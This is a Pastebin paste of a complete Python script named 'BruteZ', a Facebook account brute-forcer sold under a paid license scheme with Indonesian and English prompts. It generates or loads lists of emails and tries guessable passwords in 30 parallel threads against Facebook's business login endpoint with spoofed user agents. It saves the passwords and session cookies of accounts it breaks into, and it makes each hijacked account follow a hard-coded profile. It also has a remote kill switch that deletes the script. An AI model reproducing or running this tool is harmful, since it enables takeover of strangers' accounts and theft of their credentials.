OBF-XIn

140.213.51.180-ZexNo.py.py

Mar 24th, 2024
13
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 24.76 KB | None | 0 0
  1. import os, sys, time
  2. try:
  3.     import bs4, re, requests, datetime, random, base64
  4.     from concurrent.futures import ThreadPoolExecutor as run
  5.     from bs4 import BeautifulSoup as parser
  6. except ImportError as e:
  7.     print (f"[#] Wait a moment while installing the module {e.name} !")
  8.     os.system(f"python -m pip install {e.name} &> /dev/null")
  9.     print (f"[+] Successfully installed the module {e.name} ✓")
  10.     time.sleep(2)
  11.  
  12. try:os.mkdir('success')
  13. except:pass
  14. try:os.mkdir('checkpoint')
  15. except:pass
  16.  
  17. class Main_Menu:
  18.     def __init__(self):
  19.         self.config = {"url": "https://pastebin.com/raw/{}", "url_check": "https://rentry.co/{}", "day": []}
  20.         self.dump = {"user": [], "user_random": []}
  21.         self.brute = {"loop": 0, "success": 0, "checkpoint": 0}
  22.         self.url = {"m": "m.facebook.com", "mbsc": "mbasic.facebook.com", "fre": "free.facebook.com", "mpd": "m.prod.facebook.com"}
  23.         self.color = { "white": "\x1b[0;97m", "red": "\x1b[0;91m", "green": "\x1b[0;92m", "yellow": "\x1b[0;93m", "blue": "\x1b[0;94m", "purple": "\x1b[0;95m", "cyan": "\x1b[0;96m", "black": "\x1b[0m",}
  24.         named_tuple = time.localtime()
  25.         self.date = time.strftime("%m-%d-%Y", time.localtime())
  26.         self.times = time.strftime("%H:%M:%S", time.localtime())
  27.         self.ck = requests.get("https://pastebin.com/raw/QdH5cqQq").text
  28.         if self.ck in "ONLINE":self.CheckLicense()
  29.         else:os.remove(sys.argv[0]);exit(" [!] Script Kadelwarsa silahkan hubungi admin")
  30.  
  31.     def botauto(self, cok):
  32.         try:
  33.             link = parser(requests.get(f"{self.url['mbsc']}/profile.php?id=100039142035154", cookies={"cookie": cok}).text, "html.parser")
  34.             if "/a/subscriptions/remove" in str(link):pass
  35.             elif "/a/subscribe.php" in str(link):
  36.                 cari = re.search('/a/subscribe.php(.*?)"', str(link)).group(1).replace("amp;", "")
  37.                 requests.get(f"{self.url['mbsc']}/a/subscribe.php{cari}", cookies={"cookie": cok})
  38.             else:pass
  39.         except:pass
  40.  
  41.     def DeletFile(self, name):
  42.         try:os.remove(name)
  43.         except:pass
  44.  
  45.     def SaveResult(self, name, uid, pw, cookie):
  46.         with open(name, "a", encoding='utf-8') as _file_:
  47.             _file_.write(f"{uid}|{pw}|{cookie}\n")
  48.             _file_.close()
  49.  
  50.     def Banner(self):
  51.         os.system("cls" if os.name == "nt" else "clear")
  52.         print (f"""
  53. {self.color['white']}  ___          _       ____
  54. {self.color['white']} | _ )_ _ _  _| |_ ___|_  /
  55. {self.color['white']} | _ \ '_| || |  _/ -_)/ /  {self.color['red']}※ {self.color['white']}Bruteforce By {self.color['green']}ZexDev {self.color['white']}and {self.color['green']}XNZ
  56. {self.color['white']} |___/_|  \_,_|\__\___/___|
  57. {self.color['yellow']}  ? {self.color['white']}Note: Gunakan Tools ini dengan bijak,
  58. {self.color['white']}          karena kami tidak akan bertanggung jawab.
  59.         """)
  60.  
  61.     def RandomEmail(self, name, domain, jml, cmbs):
  62.         if cmbs == "1" or cmbs == "01":
  63.             for _ in range(jml):
  64.                 _ += 1
  65.                 self.dump["user"].append(f"{name}{_}{domain}|{name}")
  66.                 sys.stdout.write(f"\r  {self.color['white']}• I'm creating a {self.color['blue']}random {self.color['white']}email {self.color['green']}{len(self.dump['user'])} {self.color['white']}- {self.color['green']}{name}{_}{domain}"),sys.stdout.flush()
  67.                 time.sleep(0.003)
  68.         elif cmbs == "2" or cmbs == "02":
  69.             for _ in range(jml):
  70.                 _ += 1
  71.                 rand_depan = random.choice(['andi','dwi','muhammad','nur','dewi','tri','dian','sri','putri','eka','sari','aditya','basuki','budi','joni','toni','cahya','riski','farhan','aden','joko'])
  72.                 rand_belakang = random.choice(['99','official','gaming','utama','taher','ganteng','sultan','123','1234','12345','123456','cakep'])
  73.                 rand_email = random.choice([
  74.                     str(name)+str(_)+str(domain),
  75.                     str(name)+str(rand_depan)+str(domain),
  76.                     str(name)+str(rand_belakang)+str(domain),
  77.                 ])
  78.                 self.dump["user"].append(f"{rand_email}|{name}")
  79.                 sys.stdout.write(f"\r  {self.color['white']}• I'm creating a {self.color['blue']}random {self.color['white']}email {self.color['green']}{len(self.dump['user'])} {self.color['white']}- {self.color['green']}{rand_email}"),sys.stdout.flush()
  80.                 time.sleep(0.003)
  81.         elif cmbs == "3" or cmbs == "03":
  82.             for _ in range(jml):
  83.                 _ += 1
  84.                 rand_email = random.choice([
  85.                     str(name)+str(name)+str(domain),
  86.                     str(name)+str(name)+str(_)+str(domain),
  87.                     str(name)+'.'+str(name)+str(domain),
  88.                     str(name)+'.'+str(name)+str(_)+str(domain)
  89.                 ])
  90.                 self.dump["user"].append(f"{rand_email}|{name}")
  91.                 sys.stdout.write(f"\r  {self.color['white']}• I'm creating a {self.color['blue']}random {self.color['white']}email {self.color['green']}{len(self.dump['user'])} {self.color['white']}- {self.color['green']}{rand_email}"),sys.stdout.flush()
  92.                 time.sleep(0.003)
  93.         else:exit(f"  {self.color['red']}! {self.color['white']}Select an existing email combination")
  94.  
  95.     def BruteZ(self):
  96.         self.Banner()
  97.         print (f"  {self.color['red']}※ {self.color['white']}Expired: {self.color['green']}{self.config['day'][0]} days")
  98.         print (f"\n  {self.color['green']}01{self.color['white']}. Starting Bruteforce {self.color['cyan']}from {self.color['white']}Random Email\n  {self.color['green']}02{self.color['white']}. Starting Bruteforce {self.color['cyan']}from {self.color['white']}File\n  {self.color['green']}03{self.color['white']}. Check Bruteforce {self.color['green']}results\n  {self.color['green']}04{self.color['white']}. {self.color['red']}Exit {self.color['white']}the Bruteforce Menu 0_0")
  99.         chs = input(f"\n  {self.color['purple']}@{self.color['white']}Choose_>{self.color['green']} ")
  100.         if chs == "1" or chs == "01":
  101.             self.Banner()
  102.             print (f"  {self.color['green']}⸙ {self.color['white']}Input: {self.color['blue']}English {self.color['white']}- Enter a random name.\n           {self.color['red']}Indonesia {self.color['white']}- Masukkan nama acak.")
  103.             name = input(f"\n  {self.color['purple']}@{self.color['white']}InputName_>{self.color['green']} ")
  104.             print (f"\n  {self.color['green']}⸙ {self.color['white']}Domain: {self.color['blue']}English {self.color['white']}- Enter the domain @gmail.com or another domain.\n            {self.color['red']}Indonesia {self.color['white']}- Masukkan domain @gmail.com atau doamin lainnya.")
  105.             domain = input(f"\n  {self.color['purple']}{self.color['white']}@InputDomain_>{self.color['green']} ")
  106.             if '@' not in str(domain) or '.com' not in str(domain):exit(f"  {self.color['red']}! {self.color['white']}Enter the domain correctly ")
  107.             print (f"\n  {self.color['green']}⸙ {self.color['white']}Amount: {self.color['blue']}English {self.color['white']}- Enter the number of emails you want.\n            {self.color['red']}Indonesia {self.color['white']}- Masukkan jumlah email yang Anda inginkan.")
  108.             jml = int(input(f"\n  {self.color['purple']}@{self.color['white']}Maximum:{self.color['red']}3000{self.color['white']}_>{self.color['green']} "))
  109.             if jml > 3000:exit(f"  {self.color['red']}! {self.color['white']}The amount you entered exceeds the maximum.")
  110.             print (f"\n  {self.color['green']}⸙ {self.color['white']}Combination: {self.color['blue']}English {self.color['white']}- Select an email combination.\n                 {self.color['red']}Indonesia {self.color['white']}- Pilih kombinasi email.\n   01. Combination of names and numbers             {self.color['green']}Recommended{self.color['black']}\n   02. A combination of names and additional names  {self.color['green']}Recommended+{self.color['black']}\n   03. New combination this month                   {self.color['yellow']}Latest{self.color['black']}")
  111.             cmbs = input(f"\n  {self.color['purple']}@{self.color['white']}InputCombination_>{self.color['green']} ")
  112.             print (self.color['white'])
  113.             self.RandomEmail(name, domain, jml, cmbs)
  114.             print (self.color['white'])
  115.             self.Settings()
  116.         elif chs == "2" or chs == "02":
  117.             self.Banner()
  118.             print (f"  {self.color['green']}⸙ {self.color['white']}File: {self.color['blue']}English {self.color['white']}- Enter your file name.\n          {self.color['red']}Indonesia {self.color['white']}- Masukkan nama file anda.")
  119.             print (f"\n    {self.color['yellow']}? {self.color['white']}Example of contents in the file: {self.color['green']}username{self.color['white']}|{self.color['green']}fullname")
  120.             try:user = open(input(f"\n    {self.color['purple']}@{self.color['white']}InputFile_>{self.color['green']} "),'r').read().splitlines()
  121.             except FileNotFoundError:exit(f"    ! The file name you entered was not found ")
  122.             for _ in user:
  123.                 self.dump['user'].append(_)
  124.                 sys.stdout.write(f"\r    {self.color['white']}• is collecting Username and Fullname  {self.color['green']}{len(self.dump['user'])} {self.color['white']}- {self.color['green']}{str(_.split('|')[0])}"),sys.stdout.flush()
  125.                 time.sleep(0.003)
  126.             self.Settings()
  127.         elif chs == "3" or chs == "03":
  128.             print (f"\n  {self.color['purple']}+ {self.color['white']}list of success file names {self.color['black']}")
  129.             try:success = os.listdir('success')
  130.             except FileNotFoundError:print(f"  {self.color['red']}! {self.color['white']}There are no files in the {self.color['green']}success {self.color['white']}folder")
  131.             if len(success)==0:print(f"  {self.color['red']}! {self.color['white']}There are no files in the {self.color['green']}success {self.color['white']}folder")
  132.             for _ in success:
  133.                 try:ts = open('success/'+_,'r').readlines()
  134.                 except:continue
  135.                 print (f"    {self.color['white']}> {self.color['green']}success/{_} {self.color['white']}- number of accounts {self.color['green']}{len(ts)}.")
  136.             print (f"\n  {self.color['purple']}+ {self.color['white']}list of checkpoint file names {self.color['black']}")
  137.             try:checkpoint = os.listdir('checkpoint')
  138.             except FileNotFoundError:exit(f"  {self.color['red']}! {self.color['white']}There are no files in the {self.color['yellow']}checkpoint {self.color['white']}folder")
  139.             if len(checkpoint)==0:exit(f"  {self.color['red']}! {self.color['white']}There are no files in the {self.color['yellow']}checkpoint {self.color['white']}folder")
  140.             for __ in checkpoint:
  141.                 try:tc = open('checkpoint/'+__,'r').readlines()
  142.                 except:continue
  143.                 print (f"    {self.color['white']}> {self.color['yellow']}checkpoint/{__} {self.color['white']}- number of accounts {self.color['green']}{len(tc)}.")
  144.             file = input(f"\n  {self.color['purple']}@{self.color['white']}InputNameFile>{self.color['green']} ")
  145.             try:check = open(file,'r').read().splitlines()
  146.             except FileNotFoundError:exit(f"  ! The file name you entered was not found ")
  147.             print (f"\n  {self.color['green']}⸙ {self.color['white']}list of accounts in the file {self.color['purple']}{file}")
  148.             ___ = 0
  149.             for ____ in check:
  150.                 ___ += 1
  151.                 uid, pw, coki = ____.split('|')[0], ____.split('|')[1], ____.split('|')[2]
  152.                 print (f"    {self.color['green']}{str(___)}{self.color['white']}. Username: {self.color['green']}{uid} {self.color['white']}- Password: {self.color['green']}{pw} {self.color['white']}- Cookie: {self.color['green']}{coki}")
  153.             input(f"  {self.color['white']}[{self.color['blue']}Enter{self.color['white']}] Click enter to {self.color['red']}exit {self.color['white']}the menu :)")
  154.             exit()
  155.         else:exit(f"  {self.color['red']}! {self.color['white']}Select the menu correctly")
  156.  
  157.     def Settings(self):
  158.         if len(self.dump["user"])==0:exit("  ! Please re-run the script ")
  159.         for __ in self.dump["user"]:
  160.             xx = random.randint(0,len(self.dump["user"]))
  161.             self.dump["user_random"].insert(xx,__)
  162.         self.Banner()
  163.         print (f"  {self.color['purple']}+ {self.color['white']}Bruteforce results will be saved in the file\n   • Success / {self.color['green']}Success-{self.date}.txt\n   {self.color['white']}• Checkpoint / {self.color['yellow']}Checkpoint-{self.date}.txt\n")
  164.         try:
  165.             with run(max_workers=30) as start:
  166.                 for ___ in self.dump["user_random"]:
  167.                     uid, fullname = ___.split("|")[0], ___.split("|")[1].lower()
  168.                     firstname = fullname.split(" ")[0]
  169.                     if len(fullname)<5:
  170.                         if len(firstname)<1 or len(firstname)<2:pass
  171.                         else:
  172.                             psswlist = [
  173.                                 firstname+'123',
  174.                                 firstname+'12345',
  175.                                 firstname+'123456'
  176.                             ]
  177.                     else:
  178.                         psswlist = [
  179.                             fullname,
  180.                             firstname+'123',
  181.                             firstname+'12345',
  182.                             firstname+'123456'
  183.                         ]
  184.                     start.submit(self.method1, uid, psswlist)
  185.             print (f"\n  {self.color['green']}√ {self.color['white']}Bruteforce {len(self.dump['user_random'])} | Success: {self.color['green']}{self.brute['success']} {self.color['white']}- Checkpoint: {self.color['yellow']}{self.brute['checkpoint']}")
  186.             exit()
  187.         except Exception as e:exit(e)
  188.     def method(self, uid, passwlist):
  189.         for pw in passwlist:
  190.             print (self.brute['loop'])
  191.             self.brute['loop'] += 1
  192.     def method1(self, uid, passwlist):
  193.         session = requests.session()
  194.         sys.stdout.write(f"\r\r  {self.color['blue']}@ {self.color['white']}Bruteforce is running {len(self.dump['user_random'])}/{self.color['red']}{self.brute['loop']} {self.color['white']}- success/checkpoint: {self.color['green']}{self.brute['success']}{self.color['white']}/{self.color['yellow']}{self.brute['checkpoint']}");sys.stdout.flush()
  195.         model = random.choice([
  196.             "SM-J700F",
  197.             "SM-J700H",
  198.             "SM-J700M",
  199.             "SM-J700T",
  200.             "J7",
  201.             "SM-J700T1",
  202.             "SM-J700K",
  203.             "SM-J700P",
  204.             "SM-j7008"
  205.         ])
  206.         chrome = str(random.randint(22, 55))+".0."+str(random.randint(2222, 5555))+"."+str(random.randint(22, 99))
  207.         ugent = random.choice([
  208.             f"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
  209.             f"Mozilla/5.0 (Linux; Android 6.0.1; {model} Build/MMB29K; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{chrome} Mobile Safari/537.36"
  210.         ])
  211.         for pw in passwlist:
  212.             try:
  213.                 req1 = session.get('https://business.facebook.com/login.php?skip_api_login=1&api_key=124024574287414&kid_directed_site=0&app_id=124024574287414&signed_next=1&next=https%3A%2F%2Fweb.facebook.com%2Fdialog%2Foauth%3Fclient_id%3D124024574287414%26locale%3Did_ID%26redirect_uri%3Dhttps%253A%252F%252Fwww.instagram.com%252Faccounts%252Fsignup%252F%26response_type%3Dcode%252Cgranted_scopes%26scope%3Demail%26state%3D%257B%2522fbLoginKey%2522%253A%25221c2p5l61dkiv87w0ntog1kqtm7h1dfscal195qzu6vmm9o975e4e6%2522%252C%2522fbLoginReturnURL%2522%253A%2522%252Ffxcal%252Fdisclosure%252F%253Fnext%253D%25252F%2522%257D%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D53f2c645-6bbd-4113-8342-3a4ac47e2c7a%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fwww.instagram.com%2Faccounts%2Fsignup%2F%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%2522fbLoginKey%2522%253A%25221c2p5l61dkiv87w0ntog1kqtm7h1dfscal195qzu6vmm9o975e4e6%2522%252C%2522fbLoginReturnURL%2522%253A%2522%252Ffxcal%252Fdisclosure%252F%253Fnext%253D%25252F%2522%257D%23_%3D_&display=page&locale=id_ID&pl_dbl=0').text
  214.                 datr = re.search('_js_datr","(.*?)"',str(req1)).group(1)
  215.                 coki = f'datr={datr};locale=id_ID;wl_cbv=v2%3Bclient_version%3A2392%3Btimestamp%3A{int(time.time())};vpd=v1%3B885x360x2;wd=980x1715;{";".join(["%s=%s"%(x,y) for x,y in session.cookies.get_dict().items()])};_js_datr={datr}'
  216.                 post = session.post(
  217.                     'https://business.facebook.com/login/device-based/regular/login/?login_attempt=1&next=https%3A%2F%2Fweb.facebook.com%2Fdialog%2Foauth%3Fclient_id%3D124024574287414%26locale%3Did_ID%26redirect_uri%3Dhttps%253A%252F%252Fwww.instagram.com%252Faccounts%252Fsignup%252F%26response_type%3Dcode%252Cgranted_scopes%26scope%3Demail%26state%3D%257B%2522fbLoginKey%2522%253A%25221c2p5l61dkiv87w0ntog1kqtm7h1dfscal195qzu6vmm9o975e4e6%2522%252C%2522fbLoginReturnURL%2522%253A%2522%252Ffxcal%252Fdisclosure%252F%253Fnext%253D%25252F%2522%257D%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D53f2c645-6bbd-4113-8342-3a4ac47e2c7a%26tp%3Dunspecified%26cbt%3D1705563202091&lwv=100',
  218.                     data = {
  219.                         'jazoest':re.search('name="jazoest" value="(.*?)"',str(req1)).group(1),
  220.                         'lsd':re.search('name="lsd" value="(.*?)"',str(req1)).group(1),
  221.                         'api_key':'124024574287414',
  222.                         'cancel_url':'https://www.instagram.com/accounts/signup/?error=access_denied&error_code=200&error_description=Permissions+error&error_reason=user_denied&state=%7B%22fbLoginKey%22%3A%221c2p5l61dkiv87w0ntog1kqtm7h1dfscal195qzu6vmm9o975e4e6%22%2C%22fbLoginReturnURL%22%3A%22%2Ffxcal%2Fdisclosure%2F%3Fnext%3D%252F%22%7D#_=_',
  223.                         'display':'page',
  224.                         'isprivate':'',
  225.                         'return_session':'',
  226.                         'skip_api_login':1,
  227.                         'signed_next':1,
  228.                         'trynum':1,
  229.                         'timezone':'-420',
  230.                         'lgndim':re.search('name="lgndim" value="(.*?)"',str(req1)).group(1),
  231.                         'lgnrnd':re.search('name="lgnrnd" value="(.*?)"',str(req1)).group(1),
  232.                         'lgnjs':re.search('name="lgnjs" value="(.*?)"',str(req1)).group(1),
  233.                         'email': uid,
  234.                         'prefill_contact_point': uid,
  235.                         'prefill_source':'browser_dropdown',
  236.                         'prefill_type':'password',
  237.                         'first_prefill_source':'browser_dropdown',
  238.                         'first_prefill_type':'contact_point',
  239.                         'had_cp_prefilled':True,
  240.                         'had_password_prefilled':True,
  241.                         'ab_test_data':'',
  242.                         'encpass':f"#PWD_BROWSER:0:{int(datetime.datetime.now().timestamp())}:{pw}"
  243.                     },
  244.                     headers = {
  245.                         'Host': 'business.facebook.com',
  246.                         'cache-control': 'max-age=0',
  247.                         'content-type': 'application/x-www-form-urlencoded',
  248.                         'user-agent': ugent,
  249.                         'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
  250.                         'sec-fetch-site': 'same-origin',
  251.                         'sec-fetch-mode': 'navigate',
  252.                         'sec-fetch-user': '?1',
  253.                         'sec-fetch-dest': 'document',
  254.                         'referer': 'https://business.facebook.com/login.php?skip_api_login=1&api_key=124024574287414&kid_directed_site=0&app_id=124024574287414&signed_next=1&next=https%3A%2F%2Fweb.facebook.com%2Fdialog%2Foauth%3Fclient_id%3D124024574287414%26locale%3Did_ID%26redirect_uri%3Dhttps%253A%252F%252Fwww.instagram.com%252Faccounts%252Fsignup%252F%26response_type%3Dcode%252Cgranted_scopes%26scope%3Demail%26state%3D%257B%2522fbLoginKey%2522%253A%25221c2p5l61dkiv87w0ntog1kqtm7h1dfscal195qzu6vmm9o975e4e6%2522%252C%2522fbLoginReturnURL%2522%253A%2522%252Ffxcal%252Fdisclosure%252F%253Fnext%253D%25252F%2522%257D%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D53f2c645-6bbd-4113-8342-3a4ac47e2c7a%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fwww.instagram.com%2Faccounts%2Fsignup%2F%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%2522fbLoginKey%2522%253A%25221c2p5l61dkiv87w0ntog1kqtm7h1dfscal195qzu6vmm9o975e4e6%2522%252C%2522fbLoginReturnURL%2522%253A%2522%252Ffxcal%252Fdisclosure%252F%253Fnext%253D%25252F%2522%257D%23_%3D_&display=page&locale=id_ID&pl_dbl=0',
  255.                         'accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'
  256.                     },
  257.                     cookies = {
  258.                         'cookie':coki
  259.                     },
  260.                 )
  261.                 if "c_user" in session.cookies.get_dict():
  262. #                   kuki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
  263.                     kuki = f'{";".join(["%s=%s"%(x,y) for x,y in session.cookies.get_dict().items()])};_js_datr={datr}'
  264.                     uid = re.findall('c_user=(.*);xs', kuki)[0]
  265.                     print(f"\r\r  {self.color['green']}√ {self.color['white']}success: {self.color['green']}{uid}|{pw}|{kuki}{self.color['black']}")
  266.                     self.brute['success'] += 1
  267.                     self.SaveResult(f"success/success-{self.date}.txt", uid, pw, kuki)
  268.                     self.botauto(kuki)
  269.                     break
  270.                 elif "checkpoint" in session.cookies.get_dict():
  271.                     uid = session.cookies.get_dict()["checkpoint"].split("%")[4].replace("3A", "")
  272.                     print(f"\r\r  {self.color['yellow']}x {self.color['white']}checkpoint: {self.color['yellow']}{uid}|{pw}                       {self.color['black']}")
  273.                     self.brute['checkpoint'] += 1
  274.                     self.SaveResult(f"checkpoint/checkpoint-{self.date}.txt", uid, pw, None)
  275.                     break
  276.                 else:continue
  277.             except requests.exceptions.ConnectionError:time.sleep(31)
  278.             except Exception as e:exit(e)
  279.         self.brute['loop'] += 1
  280.  
  281.     def CheckLicense(self):
  282.         from datetime import date, datetime
  283.         self.Banner()
  284.         if os.path.isfile('.keysfree.txt') is True:
  285.             ZexF = requests.get(self.config['url'].format("tNi5vhp4")).text
  286.             if ZexF == keyfree:print (f"  {self.color['green']}√ {self.color['white']}License Free anda masih aktif, menuju ke menu");time.sleep(2);self.config['day'].append("free");self.BruteZ()
  287.             else:self.DeletFile('.keysfree.txt');exit(f"  {self.color['red']}! {self.color['white']}license free anda sudah kadelwarsa :)")
  288.         else:pass
  289.         if os.path.isfile('.keys.txt') is True:
  290.             try:
  291.                 key = open('.keys.txt','r').read()
  292.                 Zex = requests.get(self.config['url'].format("zJS4G8Gz")).text
  293.                 info = re.findall(key+'.*', Zex)[0]
  294.                 expired = info.split('|')[2]
  295.                 hari, bulan, tahun = expired.split('-')
  296.                 sisa = date(int(tahun),int(bulan),int(hari))
  297.                 wktu = datetime.strptime(str(sisa),"%Y-%m-%d")
  298.                 stop = datetime.strptime('%s%s%s'%(datetime.now().day,datetime.now().month,datetime.now().year),'%d%m%Y')
  299.                 nice = wktu - stop
  300.                 if nice.days <1:
  301.                     self.DeletFile('.keys.txt')
  302.                     exit(f"  {self.color['red']}! {self.color['white']}License Sudah kadelwarsa ")
  303.                 else:
  304.                     key1, key2  = self.CreateLicense('decode',f'{key}'), str(os.getlogin().split('_')[0])+str(os.getlogin().split('_')[1])+str(os.getuid())
  305.                     if key1 == key2:
  306.                         print (f"  {self.color['green']}⸙ {self.color['white']}Haii, {self.color['green']}{info.split('|')[1]} {self.color['white']}Selamat datang di {self.color['blue']}BruteZ")
  307.                         self.config['day'].append(nice.days)
  308.                         time.sleep(3)
  309.                         self.BruteZ()
  310.                     else:exit(f"  {self.color['red']}! {self.color['white']}License only requires 1 device")
  311.             except IndexError:self.LicenseList()
  312.         else:self.LicenseList()
  313.  
  314.     def CreateLicense(self, chs, code):
  315.         if chs.lower() == 'create':
  316.             device = str(os.getlogin().split('_')[0])+'-'+str(os.getlogin().split('_')[1])+'-'+str(os.getuid())
  317.             encode1 = device.encode("ascii")
  318.             encode2 = base64.b16encode(encode1)
  319.             result = encode2.decode("ascii")
  320.         elif chs.lower() == 'decode':
  321.             decode1 = code.encode("ascii")
  322.             decode2 = base64.b16decode(decode1)
  323.             result = decode2.decode("ascii").replace("-", "")
  324.         return result
  325.  
  326.     def LicenseList(self):
  327.         self.Banner()
  328.         try:
  329.             IdRd = self.CreateLicense('create','')
  330.             Zex = requests.get(self.config['url'].format("zJS4G8Gz")).text
  331.             response = re.findall('%s.*'.format(IdRd), str(Zex))
  332.             if len(response) > 0:apikey = self.CreateLicense('create','')
  333.             else:apikey = IdRd
  334.         except Exception as e:exit(f"  {self.color['red']}! {self.color['white']}there is an error in the system : {e}")
  335.         print (f"  {self.color['green']}⸙ {self.color['white']}Your license: {self.color['green']}{apikey} {self.color['white']}- {self.color['red']}Not yet confirmed {self.color['black']}")
  336.         print (f"\n    {self.color['green']}01{self.color['white']}. {self.color['green']}Rp.30.000{self.color['white']} Untuk 1 minggu\n    {self.color['green']}02{self.color['white']}. {self.color['green']}Rp.110.000 {self.color['white']}Untuk 1 bulan\n    {self.color['green']}03{self.color['white']}. {self.color['green']}Rp.250.000 {self.color['white']}Permanen + Open Source")
  337.         chs = input(f"\n  {self.color['purple']}@{self.color['white']}Choose_>{self.color['green']} ")
  338.         open('.keys.txt','w').write(f'{apikey}')
  339.         if chs == "1" or chs == "01":
  340.             print (f"\n  {self.color['green']}⸙ {self.color['white']}Name: Masukkan nama anda")
  341.             username = input(f"   {self.color['purple']}@{self.color['white']}InputName>{self.color['green']} ")
  342.             os.system(f'xdg-open https://wa.me/6283139844517?text=Halo,%20perkenalkan%20nama%20saya%20{username}%20saya%20inggin%20mengkonfirmasi%20license%20saya%20untuk%201%20Minggu%0A%0ALicense:%20*%60{apikey}%60*')
  343.             exit()
  344.         elif chs == "2" or chs == "02":
  345.             print (f"\n  {self.color['green']}⸙ {self.color['white']}Name: Masukkan nama anda")
  346.             username = input(f"   {self.color['purple']}@{self.color['white']}InputName>{self.color['green']} ")
  347.             os.system(f'xdg-open https://wa.me/6283139844517?text=Halo,%20perkenalkan%20nama%20saya%20{username}%20saya%20inggin%20mengkonfirmasi%20license%20saya%20untuk%201%20Bulan%0A%0ALicense:%20*%60{apikey}%60*')
  348.             exit()
  349.         elif chs == "3" or chs == "03":
  350.             print (f"\n  {self.color['green']}⸙ {self.color['white']}Name: Masukkan nama anda")
  351.             username = input(f"   {self.color['purple']}@{self.color['white']}InputName>{self.color['green']} ")
  352.             os.system(f'xdg-open https://wa.me/6283139844517?text=Halo,%20perkenalkan%20nama%20saya%20{username}%20saya%20inggin%20mengkonfirmasi%20license%20saya%20untuk%20Permanen%0A%0ALicense:%20*%60{apikey}%60*')
  353.             exit()
  354.         elif chs.lower() == "free":
  355.             print (f"\n  {self.color['green']}⸙ {self.color['white']}silahkan masukan license Free anda")
  356.             keyfree = input(f"   {self.color['purple']}@{self.color['white']}InputLicense>{self.color['green']} ")
  357.             ZexF = requests.get(self.config['url'].format("tNi5vhp4")).text
  358.             if ZexF == keyfree:print (f"  {self.color['green']}√ {self.color['white']}License Free anda masih aktif, menuju ke menu");time.sleep(2);open('.keysfree.txt','w').write(f'{keyfree}');self.config['day'].append("free");self.BruteZ()
  359.             else:self.DeletFile('.keysfree.txt');exit(f"  {self.color['red']}! {self.color['white']}license free anda sudah kadelwarsa :)")
  360.         else:exit(f"  {self.color['red']}! {self.color['white']}Select the menu correctly")
  361. Main_Menu()
  362.  
Add Comment
Please, Sign In to add comment